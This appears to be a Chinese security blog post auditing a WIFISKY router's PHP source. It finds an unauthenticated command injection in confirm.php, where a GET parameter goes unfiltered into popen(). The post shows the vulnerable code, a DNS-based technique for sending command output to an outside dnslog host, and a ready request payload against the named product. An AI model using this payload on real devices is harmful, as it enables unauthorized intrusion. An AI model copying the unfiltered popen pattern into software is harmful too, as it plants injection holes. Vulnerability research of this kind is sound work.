freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0day之某路由器前台RCE审计
2024-03-16 20:53:40

一.引子

又是一个风和日丽的周六下午,帅比小雷茫然的睁开疲惫的双眼,突然觉悟,我小雷乃一代肾透大师岂能虚度光阴?这成何体统?电脑来,Visual Studio Code来,源码来,小小php老夫今天就要拿下尔等!

二.目标确认

小雷此行目标: WIFISKY 7层流控路由器(php语言)
小雷审代码有三不审:1.后台的不审,不够帅 2.非rce不审,不够帅 3.不想审的不审,不够帅 所以此行只审前台的命令执行漏洞

总结: WIFISKY 7层流控路由器的前台命令执行漏洞


三.前期准备

1.使用软件

Visual Studio Code: Visual Studio Code - Code Editing. Redefined](https://code.visualstudio.com/)

image-20240316163152786

网上安装教程很多,各位道友请自行研究

2.知识点准备

1)命令执行

命令执行分两种:回显和不回显,回显的没啥好说,执行的命令结果直接回显出来,这里主要说一下不回显的命令执行如何验证
首先我们要先了解Linux中反引号的作用,Linux中反引号是用来处理命令,反引号在将符号内的命令处理完毕之后,会将返回的信息传给 bash,再次执行,如下: 'ping `whoami`.test.com' 反引号中的命令会被执行


image-20240316164945644

现在就很明确了,这里只需将‘.test.com’改成dnslog的地址,再执行 ‘ping `whoami`.xxx。dnslog.cn’就可以把执行的命令结果成功带出来

image-20240316165933002

2)傻瓜式代审流程

1.小雷此行的目标是前台的命令执行,所以小雷先收集了php中导致命令执行漏洞产生的危险函数,如下:
eval() assert() call_user_func() create_function() array_map() call_user_func_array() system() passthru() exec() pcntl_exec() shell_exec() popen() proc_open()

2.作为一个肾透多年的大师,导致前台命令执行的原因小雷必然熟记于心:①.危险函数中的参数用户可控 ②.接口权限效验缺失
所以,此行的第一个任务就是将所有权限效验缺失的文件挑出来,在未授权的文件中找命令执行漏洞

四.初遇

怀着激动的心情,小雷打开了代审之旅。为了完成第一步(未授权文件筛选),小雷特意研究了下鉴权方式,发现鉴权主要就靠这句代码

image-20240316171745696

这下就简单了,只需在代审时候掠过有这句代码的文件即可

接下来小雷一个函数一个函数的搜索,最终目光锁定在 popen()函数,根据popen函数找到\notice\confirm.php

<?
$ip = $_SERVER['REMOTE_ADDR'];
$type = $_GET['t'];

$file = @popen("/usr/hls/bin/notice s $ip $type", "r");
if ($file)
pclose($file);

exit;
?>

这段代码一目了然符合小雷的要求:①无鉴权 ②危险函数中的参数可控

$ip = $_SERVER['REMOTE_ADDR'];
$type = $_GET['t'];

这里出现了两个变量$ip不用管,直接看$type = $_GET['t']接受GET传参t并将GET参数t的值直接赋值给$type

$file = @popen("/usr/hls/bin/notice s $ip $type", "r");

$type被直接带进了 popen()函数,并未有任何过滤处理

那么小雷要如何构造payload才能使系统成功执行自己的命令那? 这里必须让小雷给各位道友们介绍下管道符了

“|”是Linux管道命令操作符,简称管道符。使用此管道符“|”可以将两个命令分隔开,“|”左边命令的输出就会作为“|”右边命令的输入,此命令可连续使用,第一个命令的输出会作为第二个命令的输入,第二个命令的输出又会作为第三个命令的输入,依此类推。

傻瓜式理解: 执行多个命令,只回显最后一个命令
例如: whoami|id 1|id

image-20240316175949708

所以我们只需构造paylod: t=|ping kg4ab8.dnslog.cn ,再拼接上路径:/notice/confirm.php?t=|ping kg4ab8.dnslog.cn

# 漏洞 # 网络安全 # 漏洞分析 # 0Day漏洞 # php代码审计
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录